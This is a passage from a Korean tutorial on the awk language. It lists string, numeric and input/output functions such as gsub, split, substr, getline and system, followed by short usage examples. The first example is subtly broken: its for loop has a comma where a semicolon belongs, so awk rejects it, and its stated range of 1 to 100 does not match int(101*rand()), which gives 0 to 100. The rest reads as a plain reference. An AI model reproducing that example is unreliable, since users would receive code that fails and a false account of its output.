    • if (조건) {실행} else {실행}
    • return
    • while
  8. awk 명령어
    • 문자열 연산
      • gsub(reg,s)
        입력 문자열의 전반에 걸쳐 정규표현식 r을 문자열 s로 대치한다
      • gsub(reg,s1,s2)
        문자열 s2에서 정규표현식 r을 s1으로 대치한다 
      • index(s1,s2)
        s1에서 s2의 위치를 넘겨준다  만약 없다면 0을 넘겨준다 
      • length(arg)
        인자의 길이를 넘겨준다 
      • match(s,r)
        문자열 s에서 정규표현식 r과 매칭되는 부분의 위치를 넘겨준다 
      • split(string,array[,seperator])
        구분자를 기준으로(지정하지 않으면 공백 기준)해서 지정한 문자열을 배열로 만든다  배열[1],  배열[2], ....... 
      • sub(r,s),  sub(r,s1,s2)
        gsub과 동일하다
        단지 정규표현식과 일치하는 문자열이 여러개라도 처음 문자열만 대치된다
      • substr(s,m)
        문자열 s에서 m번째 위치에서 끝까지의 문자를 리턴한다 
      • substr(s,m,n) 
        문자열 s에서 m번째 위치에서 n번째까지의 문자를 리턴한다 
      • tolower(str)
      • toupper(str)
    • 수치 연산
      • atan2(x,y)
        y/x의 arctangent값을 라디안 단위로 넘겨준다 
      • cos(x)
      • exp(arg)
      • int(arg)
      • log(arg)
      • rand() 
        0과 1사이의 난수를 발생한다 
      • sin(x)
      • sqrt(arg)
      • srand(expr)
        인자를 가지고 난수를 발생한다
        인자가 주어지지 않으면 시간을 가지고 난수를 발생한다 
    • 입출력/프로세스
      • close(filename)
        지정한 파일을 닫는다 
      • close(cmd)
        지정한 명령어 파이프를 닫는다 
      • delete array[element]
        지정한 배열 요소를 지운다 
      • getline()
        다음 레코드를 읽어 들인다 
      • getline[variable] [< "filename"]
        파일에서 읽어들인다 
      • next 
        다음 레코드(라인)을 입력받는다
        getline()과 유사하지만 /패턴/동작을 새롭게 시작한다
        getline()은 다음 라인을 읽기만 한다 
      • print [args] [> "filename"]
        인자를 출력한다 
      • printf "format" [,expressions] [> "filename"] 
        형식에 맞춰 출력한다 
      • sprintf (format [,expressions]) 
        printf와 마찬가지로 사용하는데 값을 리턴하기만 하고 출력은 하지 않는다 
      • system(command) 
        시스템 내부 명령어를 실행한다 
  9. 간단한 예
    • awk  ' BEGIN { for (i = 1;i<=7,i++)  print int(101*rand()) }'
      화면에 1이상 100이하의 난수 일곱 개를 출력한다
    • ls -l  file1  file2  file3  | awk  ' { x += $5 } ;  END { print "Total bytes :  " x } '
      파일들의 크기를 모두 합하여 총 바이트 수를 표시한다
    • awk  ' END { print NR } ' filename
      지정한 파일의 라인이 몇 개인지를 표시한다
    • awk  ' NR % 2 == 0 ' 
      지정한 파일의 짝수번째의 라인만을 출력해 준다 


출처 : http://4ellene.net/



Trackback 0 Comment 0